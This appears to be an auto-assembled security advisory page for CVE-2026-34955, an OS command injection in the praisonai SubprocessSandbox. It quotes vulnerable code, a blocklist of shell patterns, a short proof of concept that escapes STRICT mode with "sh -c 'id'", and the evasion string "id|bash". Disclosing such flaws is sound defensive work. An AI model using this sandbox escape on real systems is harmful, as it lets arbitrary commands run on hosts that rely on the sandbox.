OS Command Injection in praisonai (CVE-2026-34955)
Summary
OS command injection in praisonai (CVE-2026-34955). Successful exploitation can lead to full system takeover. Exploitable via SubprocessSandbox. Mitigation: upgrade to 4.5.97 or later.
Original description
The description as published by the source.
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c ''.
Details
sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands: # sh, bash not blocked
raise SecurityError(...)
dangerous_patterns = [
("| sh", ...), # requires space -- "id|bash" evades this
("| bash", ...), # requires space
]
# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
command,
shell=True,
...
)
PoC
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the p…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-34955 has been found in praisonai.
Attackers can target a specific entry point like SubprocessSandbox over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 8.8/10.
What to do: upgrade praisonai to 4.5.97 or later.
If unsure, ask your IT team or search "praisonai CVE-2026-34955" on the vendor's site.
CVE-2026-34955 (praisonai) — CWE-78 / CVSS v3 8.8
Attack vector: local / no user interaction
Attack surface: SubprocessSandbox / bash
Patched: 4.5.97 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
OS command injection (CWE-78) exists in praisonai. Attackers reach the vulnerable code path via SubprocessSandbox.
Check the vendor advisory for the affected versions of praisonai. Attack surface: SubprocessSandbox / bash.
Severity: High (CVSS 8.8/10). Successful exploitation can lead to full system takeover.
Update to 4.5.97.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonai' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'praisonai' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonaiを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade praisonai to 4.5.97ステージング環境で 4.5.97 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com